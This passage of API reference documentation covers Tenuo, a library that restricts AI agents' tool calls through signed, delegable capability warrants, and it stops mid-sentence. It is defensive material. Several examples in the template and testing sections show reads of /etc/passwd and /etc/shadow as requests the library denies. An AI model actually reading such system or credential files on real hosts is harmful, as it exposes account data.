reason | ```python # Delegation with bound key (no keypair arg needed) child = bound.grant(to=worker.public_key, allow="read_file", ttl=300) # Generate headers headers = bound.headers("read_file", {"path": "/data/x.txt"}) # Serialization blocked import pickle pickle.dumps(bound) # Raises TypeError! ``` #### Repr (Safe) ```python print(repr(bound)) # ``` --- ### IssuanceBuilder Builder for delegating (granting) from parent warrants. ```python builder = parent_warrant.grant_builder() ``` #### Setter Methods (Chainable) | Method | Returns | Description | |--------|---------|-------------| | `tool(name)` | `IssuanceBuilder` | Add single tool | | `tools(names)` | `IssuanceBuilder` | Add multiple tools | | `capability(tool, constraints)` | `IssuanceBuilder` | Add tool with constraints | | `holder(public_key)` | `IssuanceBuilder` | Set authorized holder | | `ttl(seconds)` | `IssuanceBuilder` | Set TTL (required) | | `clearance(level)` | `IssuanceBuilder` | Set clearance level | | `intent(intent)` | `IssuanceBuilder` | Set intent/purpose | | `max_depth(depth)` | `IssuanceBuilder` | Set max delegation depth | | `terminal()` | `IssuanceBuilder` | Make warrant non-delegatable | | `build(keypair)` | `Warrant` | Build and sign the warrant | #### Getter Methods (Dual-Purpose) All setter methods are dual-purpose - call without arguments to get current value: ```python builder.holder() # Returns configured holder or None builder.ttl() # Returns configured TTL or None builder.clearance() # Returns configured clearance level or None builder.intent() # Returns configured intent or None ``` Note: `with_*` methods are available as aliases for backward compatibility. --- ### GrantBuilder Builder for delegating (granting) from parent warrants. Returned by `warrant.grant_builder()`. ```python builder = parent_warrant.grant_builder() ``` #### Methods All setter methods are **dual-purpose**: call with argument to set (returns self for chaining), call without to get current value. | Method | Returns | Description | |--------|---------|-------------| | `inherit_all()` | `GrantBuilder` | **POLA opt-in**: Inherit all capabilities from parent | | `capability(tool, constraints)` | `GrantBuilder` | Grant specific capability with constraints | | `tool(name)` | `GrantBuilder` | Add a parent tool with its parent constraints; never widens an existing selection; raises after `inherit_all()` | | `tools(names)` | `GrantBuilder` | Add parent tools with their constraints; one missing name adds nothing | | `retain_tool(name)` | `GrantBuilder` | After `inherit_all()`, keep only this tool | | `retain_tools(names)` | `GrantBuilder` | After `inherit_all()`, keep only these tools | | `issuable_tool(name)` | `GrantBuilder` | Narrow issuable tools (issuer warrants) | | `issuable_tools(names)` | `GrantBuilder` | Narrow issuable tools (issuer warrants) | | `holder(pk)` / `holder()` | `GrantBuilder` / `PublicKey` | Set/get holder | | `ttl(seconds)` / `ttl()` | `GrantBuilder` / `int` | Set/get TTL | | `clearance(level)` / `clearance()` | `GrantBuilder` / `Clearance` | Set/get clearance level | | `intent(text)` / `intent()` | `GrantBuilder` / `str` | Set/get intent | | `terminal()` | `GrantBuilder` | Make warrant terminal (no further delegation) | | `diff()` | `str` | Preview changes (human-readable) | | `grant(signing_key)` | `Warrant` | Finalize and sign the child warrant | > **POLA**: The builder starts with NO capabilities. Use `capability()` to grant specific tools, or `inherit_all()` to explicitly inherit all parent capabilities. #### Examples ```python # Pattern 1: Grant specific capability (POLA default) child = (parent.grant_builder() .capability("read_file", path=Exact("/data/q3.pdf")) .holder(worker_key.public_key) .grant(parent_key)) # Pattern 2: Inherit all, then narrow child = (parent.grant_builder() .inherit_all() # Explicit opt-in .retain_tools(["read_file"]) # Keep only this tool .holder(worker_key.public_key) .grant(parent_key)) # Reading builder state assert builder.holder() == worker_key.public_key assert builder.ttl() == 300 ``` --- ### Authorizer Centralized authorization with chain verification. ```python from tenuo import Authorizer ``` #### Constructor ```python Authorizer( trusted_roots: Optional[List[PublicKey]] = None, clock_tolerance_secs: int = 30, pop_window_secs: int = 30, pop_max_windows: int = 4, ) ``` **Note:** For production use, always provide `trusted_roots` to validate the root issuer. Without it, chain verification only checks internal consistency. #### Instance Methods | Method | Returns | Description | |--------|---------|-------------| | `verify(warrant)` | `None` | Verify warrant (raises on failure) | | `authorize(warrant, tool, args, signature=None)` | `None` | Authorize action (raises on failure) | | `check(warrant, tool, args, signature=None)` | `None` | Verify + authorize in one call | | `verify_chain(chain)` | `ChainVerificationResult` | Verify complete delegation chain | | `check_chain(chain, tool, args, signature=None)` | `ChainVerificationResult` | Verify chain + authorize | #### Tool Clearance Requirements (Optional) The Authorizer can *optionally* enforce minimum clearance levels per tool as defense in depth. Clearance is a coarse-grained policy overlay - **not a security boundary**. Capabilities and monotonicity provide the cryptographic guarantees; clearance adds organizational convenience. ```python from tenuo import Authorizer, Clearance authorizer = Authorizer(trusted_roots=[root_key]) # Require specific clearance levels for tools authorizer.require_clearance("*", Clearance.EXTERNAL) # Default baseline authorizer.require_clearance("delete_*", Clearance.PRIVILEGED) # Prefix pattern authorizer.require_clearance("admin_reset", Clearance.SYSTEM) # Exact match # Check what's required for a tool print(authorizer.get_required_clearance("delete_file")) # Clearance.PRIVILEGED ``` **Pattern types:** - `"exact_name"` - Exact tool name match - `"prefix_*"` - Prefix pattern (e.g., `admin_*` matches `admin_users`, `admin_config`) - `"*"` - Default for all tools (recommended for defense in depth) **Lookup precedence:** Exact match --> Glob pattern --> Default `*` --> No requirement (check skipped) **Security note:** If no clearance requirement is configured for a tool, the check is skipped. Configure a default `"*"` pattern for defense in depth. | Method | Description | |--------|-------------| | `require_clearance(pattern, level)` | Set minimum clearance for tool pattern | | `get_required_clearance(tool)` | Get required clearance level (or None) | ### ChainVerificationResult Returned by `Authorizer.authorize_one()`, `verify_chain()`, and `check_chain()`. Provides full visibility into the delegation chain that was verified. ```python from tenuo import ChainVerificationResult, ChainStep ``` | Property | Type | Description | |----------|------|-------------| | `root_issuer` | `Optional[bytes]` | Public key of the root issuer (32 bytes), or None | | `chain_length` | `int` | Total number of warrants in the verified chain | | `leaf_depth` | `int` | Delegation depth of the leaf warrant | | `verified_steps` | `List[ChainStep]` | Details of each verified step in the chain | ### ChainStep A single step in a verified delegation chain. | Property | Type | Description | |----------|------|-------------| | `warrant_id` | `str` | Warrant ID at this step | | `depth` | `int` | Delegation depth at this step | | `issuer` | `bytes` | Public key of the issuer at this step (32 bytes) | ```python result = authorizer.authorize_one(warrant, "read_file", {"path": "/data/x"}, sig) for step in result.verified_steps: print(f" depth={step.depth} issuer={step.issuer[:4].hex()}... warrant={step.warrant_id}") ``` --- ## Constraints All constraint types for fine-grained authorization. ```python from tenuo import ( Pattern, # Glob patterns: "staging-*" Exact, # Exact match: "production" Range, # Numeric ranges: Range(min=0, max=100) OneOf, # Allowlist: OneOf(["read", "write"]) NotOneOf, # Denylist: NotOneOf(["admin"]) Regex, # Regular expressions: Regex("^[a-z]+$") Wildcard, # Match anything (use sparingly) Contains, # List contains: Contains(["admin"]) Subset, # List subset: Subset(["read", "write"]) All, # AND logic: All([constraint1, constraint2]) AnyOf, # OR logic: AnyOf([constraint1, constraint2]) Not, # Negation: Not(constraint) CEL, # CEL expressions: CEL('value > 0') ) ``` ### Pattern Glob-style pattern matching. ```python Pattern("staging-*") # Matches staging-web, staging-db Pattern("/tmp/*") # Matches /tmp/foo, /tmp/bar Pattern("*-safe") # Suffix: matches image-safe ``` > [!IMPORTANT] > **Pattern vs Wildcard**: `Pattern("*")` is NOT the same as `Wildcard()`. > * `Wildcard()` is a semantic "match anything" that can be attenuated to *any* other constraint. > * `Pattern("*")` is a specific glob string. Due to the complexity of proving glob subsets, `tenuo-core` only supports subsetting for simple **Prefix** (`foo*`) or **Suffix** (`*bar`) patterns. > * **Complex patterns** (e.g., `*foo*` or `a*b*c`) require exact equality for attenuation. > > **Best Practice**: Use `Wildcard()` in root warrants if you want to allow full flexibility for children to narrow down. Use `Pattern("*")` only if you specifically mean a glob match that will only be narrowed to other simple prefix/suffix patterns. ### Exact Exact string match. ```python Exact("production") # Only matches "production" ``` ### Range Constrains numeric values to a range. > [!WARNING] > **Precision Limit**: Range uses 64-bit floats. Integers larger than 2^53 (9,007,199,254,740,992) will lose precision. Use strings for Snowflake IDs. ```python Range(min=0, max=100) # 0 <= value <= 100 Range.min_value(10) # value >= 10 Range.max_value(1000) # value <= 1000 ``` ### OneOf / NotOneOf Set membership. ```python OneOf(["read", "write", "delete"]) # Must be one of these NotOneOf(["admin", "root"]) # Anything except these ``` ### Regex Regular expression matching. ```python Regex("^[a-z0-9_]+$") # Matches lowercase alphanumeric with underscores Regex(".*\\.pdf$") # Matches files ending in .pdf ``` > **Attenuation Limitation**: Regex patterns cannot be narrowed during attenuation. Child must use the **same pattern** as parent, or attenuate to `Exact()`. This is due to the undecidability of regex subset checking. See [Constraints --> Regex Narrowing](./constraints#regex-narrowing) for details. ### Wildcard Matches any value. Use sparingly - prefer explicit constraints. ```python Wildcard() # Matches anything ``` ### Contains / Subset List constraints. ```python Contains(["admin"]) # List must include "admin" Subset(["read", "write", "admin"]) # Only these values allowed ``` ### All / AnyOf / Not Composite logic. ```python All([Range.min_value(0), Range.max_value(100)]) # AND AnyOf([Exact("admin"), Exact("superuser")]) # OR Not(Exact("blocked")) # Negation ``` ### CEL Common Expression Language for complex authorization logic. > **Note (Rust only):** Requires the `cel` feature: `tenuo = { features = ["cel"] }` ```python from tenuo import CEL # Simple comparison CEL('amount < 10000 && amount > 0') # Multi-parameter logic CEL('budget < revenue * 0.1 && currency == "USD"') # With standard library functions CEL('time_since(created_at) < 3600') # Within last hour CEL('net_in_cidr(ip, "10.0.0.0/8")') # From private network ``` **Standard Library:** - **Time**: `time_now(null)`, `time_is_expired(ts)`, `time_since(ts)` - **Network**: `net_in_cidr(ip, cidr)`, `net_is_private(ip)` See [Constraints --> CEL](./constraints#cel-common-expression-language) for full documentation and examples. **Security:** - Sandboxed execution (no arbitrary code) - Must return boolean - Expressions cached (max 1000) - No side effects (pure evaluation) --- ## Warrant Templates Pre-built capability patterns for common AI agent scenarios. Use directly or as starting points. ```python from tenuo.templates import FileReader, FileWriter, DatabaseReader, WebSearcher, CommonAgents ``` ### File Access Templates ```python from tenuo import mint from tenuo.templates import FileReader, FileWriter # Read-only access to a directory async with mint(FileReader.in_directory("/data/reports")) as w: content = read_file("/data/reports/q4.txt") # allowed content = read_file("/etc/passwd") # denied # Read a specific file only async with mint(FileReader.exact_file("/config/app.json")) as w: content = read_file("/config/app.json") # allowed # Read files with specific extensions async with mint(FileReader.extensions("/docs", [".md", ".txt"])) as w: read_file("/docs/readme.md") # allowed read_file("/docs/data.json") # denied # Write access (use with caution) async with mint(FileWriter.in_directory("/tmp/agent-output")) as w: write_file("/tmp/agent-output/report.txt", data) # allowed ``` ### Database Templates ```python from tenuo.templates import DatabaseReader, DatabaseWriter # Read from specific tables async with mint(DatabaseReader.tables(["users", "products"])) as w: query("SELECT * FROM users") # allowed query("SELECT * FROM transactions") # denied # Read with row limit (prevent data exfiltration) async with mint(DatabaseReader.with_row_limit(["users"], max_rows=10)) as w: query("SELECT * FROM users LIMIT 10") # allowed # Full-table access within a schema async with mint(DatabaseReader.schema("public")) as w: query("SELECT * FROM public.users") # allowed ``` ### Web Access Templates ```python from tenuo.templates import WebSearcher, ApiClient # Web search with domain restrictions async with mint(WebSearcher.domains(["api.openai.com", "*.google.com"])) as w: search("openai docs", domain="api.openai.com") # allowed # API client with method restrictions async with mint(ApiClient.readonly("api.example.com")) as w: get("/users") # allowed post("/users", {...}) # denied ``` ### Agent Templates ```python from tenuo.templates import CommonAgents # Research agent: read-only web search + file reading async with mint(*CommonAgents.research_agent("/data/docs")) as w: ... # Writer agent: file writing to specific directory async with mint(*CommonAgents.writer_agent("/output")) as w: ... # Analyst agent: database read + search async with mint(*CommonAgents.analyst_agent(tables=["metrics", "reports"])) as w: ... ``` --- ## Task Scoping Context managers for scoping authority to tasks. ### `mint` Create root authority for a task. **Async version.** ```python from tenuo import mint, Capability, Subpath async with mint(Capability("read_file", path=Subpath("/data"))) as warrant: result = await agent.invoke(prompt) ``` #### Parameters | Parameter | Type | Required | Description | |-----------|------|----------|-------------| | `*capabilities` | `Capability...` | Yes | Capabilities to authorize (tool + constraints) | | `ttl` | `int` | No | TTL in seconds (default from `configure()`) | | `holder_key` | `SigningKey` | No | Explicit holder (default: issuer) | #### Requirements - Must call `configure(issuer_key=...)` first - At least one tool required ### `mint_sync` Synchronous version of `mint`. ```python from tenuo import mint_sync with mint_sync(Capability("read_file", path="/data/*")) as warrant: result = protected_read_file(path="/data/report.csv") ``` Same parameters as `mint`. ### `grant` Attenuate within an existing task scope. ```python from tenuo import grant async with mint( Capability("read_file", path="/data/*"), Capability("write_file", path="/data/*") ): async with grant(Capability("read_file", path="/data/reports/*")): # Narrower scope here result = await agent.invoke(prompt) ``` #### Parameters | Parameter | Type | Required | Description | |-----------|------|----------|-------------| | `*capabilities` | `Capability...` | No | Capabilities to allow (must be subset of parent). If omitted, implies all parent capabilities. | | `ttl` | `int` | No | Shorter TTL (None = inherit remaining) | #### Requirements - **Must be called within `mint` or another `grant`** - Constraints must be monotonically attenuated (tighter than parent) #### Preview Changes ```python scope = grant(Capability("read_file", path="/data/reports/*")) scope.preview().print() # See diff before entering async with scope: ... ``` --- ## Tool Protection Tenuo provides three APIs for protecting tools. Choose based on your use case: | Use Case | API | Import | Pattern | |----------|-----|--------|---------| | Protect individual functions | `@guard(tool="...")` | `from tenuo import guard` | Decorator on your functions | | LangChain tools (recommended) | `guard(tools, bound)` | `from tenuo.langchain import guard` | Wraps LangChain tools | | Batch wrap (context-based) | `guard_tools(tools)` | `from tenuo import guard_tools` | Mutates tools in place | ### Key Differences **`@guard` (decorator)** - Use on **your own functions** that you define - Automatically extracts function arguments for authorization - Uses context (`warrant_scope`, `key_scope`) for warrant and keypair - Best for: Custom tools, Flask/FastAPI endpoints, standalone functions **`guard()` from `tenuo.langchain`** - Use for **LangChain `BaseTool` instances** - Takes a `BoundWarrant` (warrant + keypair combined) - Returns wrapped tools ready for LangChain agents - Best for: LangChain/LangGraph integrations **`guard_tools()`** - Batch wrapper for **multiple tools at once** - Mutates tools in place by default (`inplace=True`) - Uses context for warrant/keypair (like `@guard`) - Best for: Non-LangChain batch protection, custom frameworks > [!TIP] > **Quick Decision Tree:** > - Using LangChain? --> `guard()` from `tenuo.langchain` > - Protecting your own function? --> `@guard` decorator > - Need to wrap many tools at once? --> `guard_tools()` --- ### `guard_tools` (Context-Based) Wrap tools to enforce warrant authorization using context (for non-LangChain use). > For LangChain integration, use [`guard()`](#guard-recommended) from `tenuo.langchain` instead. ```python from tenuo import guard_tools ``` #### Signature ```python guard_tools( tools: List[Any], *, inplace: bool = True, strict: bool = False, schemas: Optional[Dict[str, ToolSchema]] = None, ) -> List[Any] ``` #### Parameters | Parameter | Type | Default | Description | |-----------|------|---------|-------------| | `tools` | `List[Any]` | -- | List of LangChain/callable tools | | `inplace` | `bool` | `True` | Mutate original list (False = return new list) | | `strict` | `bool` | `False` | Fail on tools missing required constraints | | `schemas` | `Dict[str, ToolSchema]` | `None` | Custom tool schemas | #### Example ```python from tenuo import guard_tools, mint # Define your tools tools = [read_file, send_email, query_db] # Wrap them (mutates in place by default) guard_tools(tools) # Use with scoped authority async with mint(Capability("read_file", path="/data/*")): result = await tools[0](path="/data/report.csv") ``` #### Non-mutating variant ```python original = [read_file, send_email] protected = guard_tools(original, inplace=False) # original unchanged, protected has wrapped tools ``` --- ## MCP Integration Native support for [Model Context Protocol](https://modelcontextprotocol.io) - client-side authorization and server-side verification. ```python from tenuo import McpConfig, CompiledMcpConfig from tenuo.mcp import SecureMCPClient, MCPVerifier, verify_mcp_call ``` ### McpConfig Load MCP configuration from YAML. ```python config = McpConfig.from_file("mcp-config.yaml") ``` ### CompiledMcpConfig Compiled configuration for fast constraint extraction. ```python compiled = CompiledMcpConfig.compile(config) result = compiled.extract_constraints("filesystem_read", {"path": "/var/log/app.log"}) ``` ### SecureMCPClient MCP client with automatic warrant injection. Supports stdio, SSE, and StreamableHTTP transports. ```python # Stdio async with SecureMCPClient("python", ["server.py"]) as client: result = await client.tools["read_file"](path="/data/file.txt") # SSE / StreamableHTTP async with SecureMCPClient( url="https://mcp.example.com/mcp", transport="http", # or "sse" inject_warrant=True, ) as client: result = await client.tools["read_file"](path="/data/file.txt") ``` Parameters: - `command`, `args`, `env` - Stdio transport (local subprocess) - `url`, `transport`, `headers`, `timeout` - HTTP transports (remote server) - `inject_warrant` - `True` sends the warrant via `params._meta.tenuo`; `"argument"` uses reserved `arguments._tenuo` for gateways that strip `_meta` - `config_path`, `register_config` - Load MCP config for constraint extraction ### MCPVerifier Server-side warrant verification for MCP tool handlers. Framework-agnostic. ```python from tenuo import Authorizer, PublicKey, CompiledMcpConfig, McpConfig from tenuo.mcp import MCPVerifier verifier = MCPVerifier( authorizer=Authorizer(trusted_roots=[PublicKey.from_bytes(root_pub)]), config=CompiledMcpConfig.compile(McpConfig.from_file("mcp-config.yaml")), ) result = verifier.verify("read_file", {"path": "/data/log.txt"}, meta=req.params._meta) result.raise_if_denied() execute_tool(result.clean_arguments) ``` Returns `MCPVerificationResult` with: - `allowed` - Whether the call is authorized - `clean_arguments` - Tool arguments safe to pass to the handler - `is_approval_required` - Whether an approval gate requires approval - `jsonrpc_error_code` - `-32001` (denied), `-32002` (approval required), or `-32602` (invalid params) - `approval_metadata` - When present on `-32002`, carries `got` and `need` for partial multi-sig retry - `to_jsonrpc_error()` - Format as JSON-RPC error response ### Human approvals and retry signals Multi-sig warrants and approval gates can require callers to collect signed approvals and retry. The distinct **`InsufficientApprovals`** signal (partial multi-sig: some approvals supplied, threshold not met) must be handled separately from scope denials. | Integration | Retry signal | Key fields | |-------------|--------------|------------| | Core / `@guard` / LangChain / OpenAI / AutoGen | `InsufficientApprovals` exception | `details["required"]`, `details["received"]` | | MCP server | JSON-RPC `-32002` | `data.got`, `data.need` | | MCP client (`MCPApprovalRequired`) | Exception on `-32002` | `got`, `need`, `request_hash` | | FastAPI | HTTP **409** | `error: "insufficient_approvals"`, `got`, `need` | | A2A | `-32020` / wire **1700** | `required`, `received` | | Temporal | `ApplicationError.type == "insufficient_approvals"` | message + cause | | Google ADK | `{error: "insufficient_approvals"}` dict or raised exception | `got`, `need` | | CrewAI | `InsufficientApprovalsDenied` | `got`, `need` on adapter exception | Gate-first flows (no approvals yet) use **`approval_required`** / MCP `-32002` without counts, A2A `-32019`, FastAPI 409 with `request_hash`. Malformed approval wire payloads fail closed: HTTP **400** (`invalid_approval`) on FastAPI, A2A `-32021`, Temporal `invalid_approval`. See [Human Approvals](approvals.md) for mint-time configuration (`.min_approvals()`, `.approval_gates()`) and wire encoding. ### verify_mcp_call Standalone convenience function for one-off verification: ```python from tenuo.mcp import verify_mcp_call result = verify_mcp_call( "read_file", arguments=raw_arguments, authorizer=authorizer, config=compiled_config, # optional meta=request_meta, # params._meta from the MCP request ) result.raise_if_denied() ``` See [`examples/mcp/`](https://github.com/tenuo-ai/tenuo/tree/main/tenuo-python/examples/mcp) for complete examples. --- ## Decorators & Context ### `@guard` Decorator for function-level authorization with automatic argument extraction. ```python from tenuo import guard ``` #### Signature ```python @guard( warrant_or_tool=None, # Warrant instance OR tool name string tool=None, # Tool name (if not passed as first arg) keypair=None, # SigningKey for PoP (or use context) extract_args=None, # Optional custom extractor function mapping=None, # Arg name → constraint name mapping ) ``` #### Parameters | Parameter | Type | Required | Description | |-----------|------|----------|-------------| | `warrant_or_tool` | `Warrant \| str` | No | Warrant instance OR tool name (positional) | | `tool` | `str` | Yes* | Tool name (*unless passed as first arg) | | `keypair` | `SigningKey` | No | Key for PoP (uses context if None) | | `extract_args` | `Callable` | No | Custom argument extractor function | | `mapping` | `Dict[str, str]` | No | Rename args after extraction | #### Argument Extraction `@guard` automatically extracts all function arguments **including defaults** using Python's `inspect.signature()`: ```python @guard(tool="query") def query_db(query: str, table: str = "users", limit: int = 100): ... # All arguments extracted automatically: query_db("SELECT *") # → {query: "SELECT *", table: "users", limit: 100} # ↑ defaults included ``` **Security:** Defaults are always included (prevents bypass via omission). **Custom extraction:** ```python @guard( tool="transfer", extract_args=lambda from_account, to_account, amount, **kw: { "source": from_account, "destination": to_account, "amount": amount } ) def transfer(from_account: str, to_account: str, amount: float): ... ``` **Parameter mapping (simpler):** ```python @guard( tool="read_file", mapping={"file_path": "path"} # Rename after extraction ) def read_file(file_path: str): ... # Extracted as: {path: "..."} ``` See [Argument Extraction](./constraints#argument-extraction) for comprehensive documentation. #### Patterns **Context-based (recommended):** ```python @guard(tool="read_file") def read_file(path: str) -> str: return open(path).read() # Use with task scoping async with mint(Capability("read_file", path=Subpath("/data"))): read_file("/data/test.txt") ``` **Explicit warrant:** ```python @guard(warrant, tool="read_file", keypair=agent_key) def read_file(path: str) -> str: return open(path).read() ``` **Tool as first arg:** ```python @guard("read_file") # Shorthand: tool name as positional arg def read_file(path: str) -> str: return open(path).read() ``` ### Context Functions ```python from tenuo import ( warrant_scope, get_warrant_context, key_scope, get_signing_key_context, ) ``` | Function | Returns | Description | |----------|---------|-------------| | `warrant_scope(warrant)` | Context manager | Set warrant in async-safe context | | `key_scope(keypair)` | Context manager | Set keypair in async-safe context | | `get_warrant_context()` | `Warrant \| None` | Get current warrant | | `get_signing_key_context()` | `SigningKey \| None` | Get current keypair | > **Important**: Context is a **convenience layer** for tool protection within a single process. For distributed systems, serialized state, or checkpointing, warrants must travel in request state (e.g., `tenuo_warrant` field). Context does not survive serialization boundaries. --- ## LangChain Integration See [LangChain Integration Guide](./langchain) for full documentation. ### `guard()` (Recommended) Unified API for protecting LangChain tools: ```python from tenuo import SigningKey, Warrant from tenuo.langchain import guard # Create warrant and bind key keypair = SigningKey.generate() # In production: SigningKey.from_env("MY_KEY") warrant = Warrant.mint_builder().tool("search").tool("calculator").mint(keypair) bound = warrant.bind(keypair) # Protect tools protected_tools = guard([search, calculator], bound) # Use in your agent agent = create_openai_tools_agent(llm, protected_tools, prompt) ``` #### Parameters | Parameter | Type | Default | Description | |-----------|------|---------|-------------| | `tools` | `List[Any]` | *required* | LangChain `BaseTool` or callable | | `bound` | `BoundWarrant` | `None` | Bound warrant (positional, or use context) | | `strict` | `bool` | `False` | Require constraints on critical tools | | `config` | `LangChainConfig` | `None` | Per-tool constraints | **Returns:** `List[TenuoTool]` for `BaseTool` inputs, `List[Callable]` for callables. ### `guard_tools()` Wraps multiple tools with Tenuo authorization. See above for full signature. --- ## LangGraph Integration See [LangGraph Integration Guide](./langgraph) for full documentation. **Pattern**: Use `warrant_scope()` and `key_scope()` to narrow warrants per node. ```python from tenuo import warrant_scope, key_scope, Pattern async def researcher_node(state, warrant, signing_key): # Narrow scope for this node node_warrant = (warrant.grant_builder() .capability("search", query=Pattern("*public*")) .grant(signing_key)) with warrant_scope(node_warrant), key_scope(signing_key): results = await search(state["query"]) return {"results": results} ``` --- ### `KeyRegistry` Thread-safe singleton for managing multiple signing keys by ID. Useful for multi-agent, multi-tenant, and service-to-service scenarios. ```python from tenuo import KeyRegistry, SigningKey registry = KeyRegistry.get_instance() # Register keys registry.register("worker", SigningKey.from_env("WORKER_KEY")) registry.register("orchestrator", SigningKey.from_env("ORCH_KEY")) # Retrieve key = registry.get("worker") # Multi-tenant: namespace keys per tenant registry.register("api", tenant_key, namespace="tenant-123") key = registry.get("api", namespace="tenant-123") ``` **Methods:** | Method | Description | |--------|-------------| | `get_instance()` | Get the singleton (class method) | | `register(key_id, key, namespace="default")` | Register a key | | `get(key_id, namespace="default")` | Retrieve a key (raises `KeyError` if missing) | | `reset_instance()` | Clear the singleton (for testing) | **Use cases:** - **LangGraph**: Keep keys out of state (checkpointing-safe) - **Multi-tenant**: Isolate keys per tenant via namespace - **Service mesh**: Different keys per downstream service - **Key rotation**: Register `current` and `previous` keys > **LangGraph integration**: `TenuoToolNode` and `guard()` automatically look up keys from the registry using `config["configurable"]["tenuo_key_id"]`. --- ## FastAPI Integration Middleware and dependency injection for FastAPI applications. ```python from tenuo.fastapi import TenuoGuard, SecurityContext, require_warrant ``` ### `TenuoGuard` (Middleware) Global middleware that extracts warrants/keys from headers and manages request context. ```python from fastapi import FastAPI from tenuo import configure, SigningKey from tenuo.fastapi import TenuoGuard app = FastAPI() app.add_middleware( TenuoGuard, # Optional config overrides # trusted_roots=[...], # verbose_errors=True ) ``` ### Dependencies #### `require_warrant` Dependency that enforces presence of a valid warrant. Returns `SecurityContext`. ```python @app.get("/secure") async def secure_endpoint( ctx: SecurityContext = Depends(require_warrant) ): return {"warrant_id": ctx.warrant_id} ``` ### `SecurityContext` Context object injected into route handlers. | Property | Type | Description | |----------|------|-------------| | `warrant` | `AnyWarrant` | The verified warrant object | | `warrant_id` | `str` | Unique warrant ID | | `fields` | `dict` | Custom warrant fields | | `key_id` | `str \| None` | ID of the signing key (if registered) | --- ## Testing Utilities Utilities for testing code that uses Tenuo authorization. ```python from tenuo.testing import ( allow_all, assert_authorized, assert_denied, assert_can_grant, assert_cannot_grant, deterministic_headers, ) ``` ### `allow_all()` Context manager that bypasses all `@guard` authorization checks. **Only works in test environments.** ```python from tenuo import guard from tenuo.testing import allow_all @guard(tool="dangerous_action") def dangerous_action(): return "executed" # In tests (pytest, unittest, or TENUO_TEST_MODE=1) def test_dangerous_action(): with allow_all(): result = dangerous_action() # No warrant needed! assert result == "executed" ``` **Environment Detection:** - Automatically enabled under `pytest` or `unittest` - Manually enable with `TENUO_TEST_MODE=1` - Raises `RuntimeError` if called outside test environments ### `assert_authorized()` / `assert_denied()` Assert authorization outcomes with detailed error messages. ```python from tenuo import guard from tenuo.testing import assert_authorized, assert_denied @guard(tool="read_file") def read_file(path: str): return f"Content of {path}" def test_authorization(): # Assert code succeeds with assert_authorized(): read_file("/data/report.txt") # Assert code is denied (with optional code/reason check) with assert_denied(code="ConstraintViolation"): read_file("/etc/passwd") # Assert with custom message with assert_denied(message="Should block access to system files"): read_file("/etc/shadow") ``` **Parameters for `assert_denied`:** | Parameter | Type | Description | |-----------|------|-------------| | `code` | `str` | Expected error code (e.g., `"ConstraintViolation"`) | | `expected_reason` | `str` | Substring expected in error message | | `message` | `str` | Custom assertion failure message | ### `assert_can_grant()` / `assert_cannot_grant()` Assert delegation (attenuation) rules are enforced correctly. ```python from tenuo import Warrant from tenuo.testing import assert_can_grant, assert_cannot_grant def test_delegation_chain(): # Create a root warrant root, root_key = Warrant.quick_mint(["search", "read_file"], ttl=3600) # Assert we CAN grant a subset of tools child, child_key = assert_can_grant( root, root_key, child_tools=["read_file"], # Subset of parent ) # Assert we CANNOT grant tools not in parent assert_cannot_grant( root, root_key, child_tools=["delete_file"], # Not in parent! expected_reason="ToolNotAuthorized", ) ``` ### `Warrant.quick_mint()` Quickly create a warrant with auto-generated keys (for development/testing). ```python from tenuo import Warrant # Returns (warrant, signing_key) warrant, key = Warrant.quick_mint(["read_file", "search"], ttl=300) # Use the warrant. trusted_roots anchors the issuer check; this warrant is # self-minted, so the anchor is `key` itself. bound = warrant.bind(key, trusted_roots=[key.public_key]) headers = bound.headers("search", {"query": "test"}) ``` ### `Warrant.for_testing()` Create test warrants without key management. **Only works in test environments.** ```python from tenuo import Warrant def test_my_function(): warrant = Warrant.for_testing(["read_file", "write_file"]) # Use for testing without real key management ``` ### `deterministic_headers()` Generate deterministic HTTP headers for snapshot testing. ```python from tenuo.testing import deterministic_headers headers = deterministic_headers(warrant, key, "read_file", {"path": "/data/x"}) # Headers are deterministic for the same inputs ``` --- ## CLI Developer utilities for inspecting warrants, analyzing logs, and initializing projects. The CLI is included with the Python package: ```bash uv pip install tenuo tenuo --help ``` ### `tenuo init` Initialize a new Tenuo project for local development. Generates a root key and config file. > **For local development.** Root keys (issuer keys) grant unlimited authority. In production, protect them with a secrets manager (Vault, K8s Secrets, cloud KMS). ```bash $ tenuo init Initializing Tenuo project (development mode)... Received root_key (ed25519) -> .env Created tenuo_config.py with sensible defaults Ready! Next steps: tenuo mint --tool read_file --ttl 1h # Create a test warrant tenuo decode # Inspect it ``` ### `tenuo mint` Create a test warrant. Uses `TENUO_ROOT_KEY` from environment (set by `tenuo init`). ```bash tenuo mint --tool [--tool ...] [--ttl ] ``` | Flag | Description | |------|-------------| | `--tool`, `-t` | Tool to authorize (repeatable, required) | | `--ttl` | Time-to-live (default: `1h`). Examples: `1h`, `30m`, `300s` | ### `tenuo decode` Decode and inspect a warrant or warrant stack. Auto-detects whether the input is a single warrant or a multi-warrant chain. ```bash tenuo decode ``` **Output:** ``` Warrant ID: wrt_abc123 Issuer: pk_xyz... Holder: pk_abc... Tools: ["search", "read_file"] TTL: 3600s (59m remaining) Constraints: read_file.path: Pattern("/data/*") ``` ### `tenuo validate` Check if a tool call would be authorized by a warrant. ```bash tenuo validate --tool [--args ] ``` | Flag | Description | |------|-------------| | `--tool`, `-t` | Tool name to check (required) | | `--args`, `-a` | Tool arguments as JSON (default: `{}`) | Exit codes: `0` = authorized, `1` = denied or error. ### `tenuo discover` Analyze audit logs and generate capability definitions. Useful for migrating existing systems to Tenuo. ```bash tenuo discover --input [--output FILE] [--format yaml|python] ``` **How it works:** 1. Deploy your app with `mode="audit"` (logs tool calls but does not block) 2. Run the app normally for a period 3. Use `discover` to analyze logs and generate minimal capabilities 4. Review and refine the generated capabilities 5. Switch to `mode="enforce"` **Example Output (YAML):** ```yaml capabilities: search: query: Pattern("*") read_file: path: OneOf(["/data/reports/*", "/data/docs/*"]) query: table: OneOf(["users", "products"]) operation: Exact("SELECT") ``` ### `tenuo receipt verify` Verify one signed authorization receipt and describe what it establishes. ```bash tenuo receipt verify [--root HEX] [--authorizer HEX] [--args JSON] ``` ### `tenuo receipt chain` Walk a JSONL receipt stream (as written by `FileReceiptSink` / `JournalEmitter`) and report missing links. ```bash tenuo receipt chain receipts.jsonl [--authorizer HEX] [--verbose] ``` ### `tenuo extract` Test gateway argument extraction rules against a sample request. ```bash tenuo extract \ --config ./gateway.yaml \ --request '{"spec": {"replicas": 5}}' \ --path /api/v1/clusters/prod/scale \ --method POST \ --verbose ``` --- ## Authorization receipts Signed 